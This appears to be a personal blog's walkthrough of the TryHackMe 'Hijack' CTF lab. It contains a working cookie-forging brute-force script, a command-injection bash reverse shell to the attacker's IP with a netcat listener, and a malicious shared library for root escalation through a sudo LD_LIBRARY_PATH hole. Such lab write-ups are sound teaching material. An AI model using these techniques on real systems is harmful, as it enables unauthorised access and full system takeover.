Hijack Writeup - Tryhackme
Introduction:
The Hijack box rated easy involved various attacks such as session hijack using cookie manipulation to privilege escalation by hijacking a share library.
1. Enumeration
Initial nmap scan showed 6 open ports which included
HTTP - 80
NFS - 2049
FTP - 21
SSH - 22
RPC - 111
I started off by mounting the NFS shares to my local machine.
sudo mount 10.10.14.131:/mnt/share /tmp/share_hijack
upon mounting, the share seemed to be inaccessible to users other than those with UID 1003. So created a new local user with uid 1003.
useradd thm_user -u 1003
The share had a file which revealed the FTP credentials for 'ftpuser'.
Logged in to ftp, and retrieved two important files:
└──╼ $cat from_admin.txt
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
(we understand that the admin has "admin" as username and there is a user named rick)
└──╼ $cat list_passwords.txt
Vxb38mSNN8wxqHxv6uMX
56J4Zw6cvz8qDvhCWCVy
qLnqTXydnY3ktstntLGu
[...snip...]
(one of them is the admin password)
2. Foothold
Upon logging in the webapp, and testing out various functionalities, found that the administration.php page is not accessible, and the cookie PHPSESSID is a base64 encoded text in format <username>:<MD5_password_hash>
Created a python script to FUZZ the cookie and get access to admin:
#!/usr/bin/python3
import hashlib
import base64
import requests
class hijack:
def __init__(self, passfile, default_user):
self.passfile = passfile
self.default_user = default_user
# method to create cookies in format (hashed)
def create_cookies(self):
with open(self.passfile, 'r') as f:
passes = [i.strip() for i in f.readlines()]
pass_hashed = [hashlib.md5(j.encode()).hexdigest() for j in passes]
final_cookies=[]
for md5pass in pass_hashed:
final_cookies.append(
base64.urlsafe_b64encode(
(self.default_user+':'+md5pass).encode()
).decode())
#list of cookies pass hashed and base64 encoded
return final_cookies
print('-> creating cookies')
URL = "http://10.10.247.174/administration.php"
h = hijack('list_passwords.txt','admin')
cooks = h.create_cookies()
print('-> Attacking...')
# FUZZing
counter = 0
for c in cooks:
cookies={'PHPSESSID':c }
r = requests.get(URL, cookies=cookies)
if 'Access denied' not in r.text:
print(r.text)
print('*'*10,"COOKIE FOUND:",c)
break
print("Request no:",counter,end='\r')
counter+=1
I Found the cookie after 80 something requests, and got into the admin panel.
which showed a service status checker:
whatever service typed, got the following result:
* nginx.service
Loaded: not-found (Reason: No such file or directory)
Active: inactive (dead)
Tried to get command injection using tilde(`) operator.
`bash -c 'bash -i >& /dev/tcp/<MY_IP>/9001 0>&1'`
now the command inside the tildes will be executed first before calling the systemctl for statuscheck.
Listen to get the shell : nc -lvnp 9001
3. Privesc
Being rick:
Found rick's credentials from config.php, and could SU/SSH into rick with the same password (credential reuse).
check sudo permissions, found that we can execute the following:
rick@Hijack:/etc/apache2$ sudo -l
Matching Defaults entries for rick on Hijack:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_LIBRARY_PATH
User rick may run the following commands on Hijack:
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
Since there is a secure path i dont think there is anything we can do about path hijacking or manipulation. and almost all of the binaries are specified in fullpath.
Although we can notice the LD_LIBRARY_PATH, which can be a vector for privilege escalation.
LD_LIBRARY_PATH is the path to the directory containing shared libraries used by a binary.
" When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded. "
First step is to check the shared libraries used by apache2 binary:
rick@Hijack:/tmp$ ldd /usr/sbin/apache2
linux-vdso.so.1 => (0x00007ffdfcbd4000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007febc0b4d000)
libaprutil-1.so.0 => /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0 (0x00007febc0926000)
libapr-1.so.0 => /usr/lib/x86_64-linux-gnu/libapr-1.so.0 (0x00007febc06f4000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007febc04d7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007febc010d000)
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007febbfed5000)
libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007febbfcac000)
libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007febbfaa7000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007febbf8a3000)
/lib64/ld-linux-x86-64.so.2 (0x00007febc1062000)
hijack.c
#include <stdio.h>
#include <stdlib.h>
// making the method a init method
static void privesc() __attribute__((constructor));
void privesc() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Compile:gcc -fPIC -shared -o /tmp/
libexpat.so
.1 hijack.c
The hijack.c file is compiled and placed in /tmp with a file name of one of the shared library we found from ldd
command. Use the name of any other library if it doesn't work for you.
Exploitation
Run sudo
rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)
root@Hijack:/tmp# whoami
root
Subscribe to my newsletter
Read articles from Anirudh directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Anirudh
Anirudh
I write about Hacking, CTFs and other interesting stuff.